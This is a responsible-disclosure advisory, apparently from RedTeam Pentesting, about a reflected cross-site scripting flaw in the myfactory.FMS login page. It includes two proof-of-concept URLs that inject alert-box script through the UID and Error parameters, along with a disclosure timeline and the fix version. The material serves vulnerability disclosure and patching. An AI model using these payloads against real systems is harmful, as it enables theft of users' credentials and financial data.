what you don't know can hurt you

myfactory.FMS 7.1-911 Cross Site Scripting

myfactory.FMS 7.1-911 Cross Site Scripting
Posted Oct 13, 2021
Site redteam-pentesting.de

myfactory.FMS versions 7.1-911 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | bfc662f603a7c054ced952d06dff7ef6

myfactory.FMS 7.1-911 Cross Site Scripting

Change Mirror Download
Advisory: Cross-Site Scripting in myfactory.FMS


During a penetration test, a reflected cross-site scripting
vulnerability (XSS) was found in the myfactory.FMS login form. If a user
opens an attacker-prepared link to the application, attackers can run
arbitrary JavaScript code in the user's browser.


Details
=======

Product: myfactory.FMS
Affected Versions: <= 7.1-911
Fixed Versions: 7.1-912 and later
Vulnerability Type: Cross-Site Scripting
Security Risk: medium
Vendor URL: https://www.myfactory.com/myfactoryfms.aspx
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-001
Advisory Status: published
CVE: GENERIC-MAP-NOMATCH
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=GENERIC-MAP-NOMATCH


Introduction
============

"With myfactory, you get a modern accounting application for your business. It
covers every functionality necessary for an accounting system."
(translated from German from the vendor's homepage)


More Details
============

The myfactory.FMS web application[0] allows users to login with a username and
password. If the password is wrong, the application redirects to a URL similar
to the following:

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID=RedTeam

The application then opens a dialogue telling the user that their
username or password are wrong and uses the value of the parameter UID
to prefill the login form resulting in the following source code:

------------------------------------------------------------------------
<td>
<input NAME="txtUID" VALUE="RedTeam"
onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
</td>
------------------------------------------------------------------------

The UID parameter gets reflected without applying any encoding to it.

A similar problem arises when the login leads to an error. This
introduces a new parameter named 'Error':

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=RedTeam_Error

The value of the Error parameter gets appended without encoding in the
javascript function mOnLoad resulting in the following code:

------------------------------------------------------------------------
function mOnLoad(
{
var sParams;
alert('Das System konnte Sie nicht anmelden.\n RedTeam_Error');
[...]
------------------------------------------------------------------------


Proof of Concept
================

The XSS in the UID parameter can be triggered with the following URL:

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Denied&UID="><script>alert("RedTeam+Pentesting")</script><span+"

This will lead to the following HTML returned by the server:

------------------------------------------------------------------------
<td>
<input NAME="txtUID" VALUE=""><script>alert("RedTeam Pentesting")</script><span ""
onkeypress="OnKeyPress(event)" placeholder="Benutzername" >
</td>
------------------------------------------------------------------------

To demonstrate the XSS via the Error parameter, the following URL can be
used:

http://www.example.com/ie50/system/login/SysLoginUser.aspx?Login=Error&Error=');alert("RedTeam+Pentesting");//

This will lead to the following JavaScript embedded in the HTML website
returned by the server:

------------------------------------------------------------------------
function mOnLoad(
{
var sParams;
alert('Das System konnte Sie nicht anmelden.\n ');alert("RedTeam+Pentesting");//');
[...]
------------------------------------------------------------------------

Workaround
==========

None


Fix
===

Install Version 7.1-912 or later.


Security Risk
=============

This security vulnerability allows to execute arbitrary JavaScript code in
users' browsers if they access URLs prepared by attackers. This provides many
different possibilities for further attacks against these users. The
vulnerability could for example be exploited to display a fake login to obtain
credentials and consequently access a company's accounting information. Since
attackers might be able to get access to sensitive financial data, but users
have to actively open an attacker-defined link, this vulnerability is estimated
to pose a medium risk.


Timeline
========

2021-05-07 Vulnerability identified
2021-05-27 Customer approved disclosure to vendor
2021-06-07 Vendor notified, support confirms vulnerability and
implements fix. Support says vendor does not agree to a
public advisory.
2021-06-10 Vendor contacts RedTeam Pentesting, reiterates that
no advisory should be released. Vendor acknowledges
public release after 90 days.
2021-10-04 Customer confirms update to fixed version
2021-10-13 Advisory released


References
==========
[0] https://www.myfactory.com/myfactoryfms.aspx


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/


Working at RedTeam Pentesting
=============================

RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/

--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close